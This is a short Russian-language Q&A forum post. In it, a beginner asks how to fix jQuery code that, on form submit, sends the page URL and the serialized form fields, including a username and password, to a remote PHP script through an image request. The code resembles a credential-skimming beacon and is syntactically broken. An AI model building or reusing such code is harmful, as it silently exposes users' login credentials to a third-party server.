#javascript
#javascript
Вопрос:
У меня есть часть моего кода Javascript, который собирает некоторую информацию и отправляет ее на сервер, как только пользователь отправляет форму на веб-сайте:
var a = {"Event":"Form", "Current":document.URL, "Info":$(this).attr('action')};
$.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
new Image().src = "http://website.com/config/php_conf/retrieve.php?data=" "Current:" document.URL "Info:" $(this).attr('action');
Проблема в третьей строке, как я могу включить $(this).attr('action')
отправку на сервер так же, как document.URL
отправляется без каких-либо проблем. На сервере я извлекаю документ.Значение URL, но я ничего не извлекаю $(this.attr('action')
.
Я попытался заменить третью строку следующим кодом:
new Image().src = "http://website.com/config/php_conf/retrieve.php?data=" a;
Тем не менее, я не решил эту проблему, потому что в журналах сервера я получил [object][object]
результаты as.
Я очень новичок в Javascript, поэтому буду признателен за любую помощь.
Комментарии:
1. Как должен выглядеть URL-адрес?
2. Запрос будет выглядеть примерно так: website.com/config/php_conf/… В браузере код работает отлично, появится $(this.attr(‘action’): « Цель: имя пользователя: привет, пароль: секрет «
3. Добавление учетных данных в URL-адрес не является хорошей идеей